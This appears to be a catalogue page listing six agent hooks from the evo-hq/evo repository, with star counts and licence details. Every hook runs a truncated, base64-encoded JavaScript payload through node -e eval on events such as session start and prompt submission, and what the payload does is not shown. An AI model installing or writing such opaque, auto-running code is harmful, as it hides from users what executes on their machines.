evo-hq/evo

turns your codebase into an autoresearch loop — discovers what to measure, instruments the benchmark, then runs tree search with parallel subagents.

1.4kStars on the repository
20Mods indexed here, across every type
1mo agoLast push, which is what freshness is scored on
Apache-2.0Licence, which decides whether bodies are shown

PreToolUse

01

evo-hq/evo

Hook

Runs before the agent uses a tool, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.

1.4k 1mo ago C tokens not measured original Apache-2.0

PostToolUse

02

evo-hq/evo

Hook

Runs after a tool call finishes for Bash tool calls, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc (2 commands). From evo-hq/evo.

1.4k 1mo ago C tokens not measured original Apache-2.0

UserPromptSubmit

03

evo-hq/evo

Hook

Runs when you submit a prompt, before the agent sees it, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.

1.4k 1mo ago C tokens not measured copy · 86% Apache-2.0

SessionStart

04

evo-hq/evo

Hook

Runs when a session starts, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.

1.4k 1mo ago C tokens not measured copy · 83% Apache-2.0

Stop

05

evo-hq/evo

Hook

Runs when the agent finishes a response, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.

1.4k 1mo ago C tokens not measured copy · 88% Apache-2.0

SubagentStop

06

evo-hq/evo

Hook

Runs when a subagent finishes, running node -e "eval(Buffer.from('Y29uc3QgZnM9cmVxdWlyZSgnZnMnKSxvc. From evo-hq/evo.

1.4k 1mo ago C tokens not measured copy · 84% Apache-2.0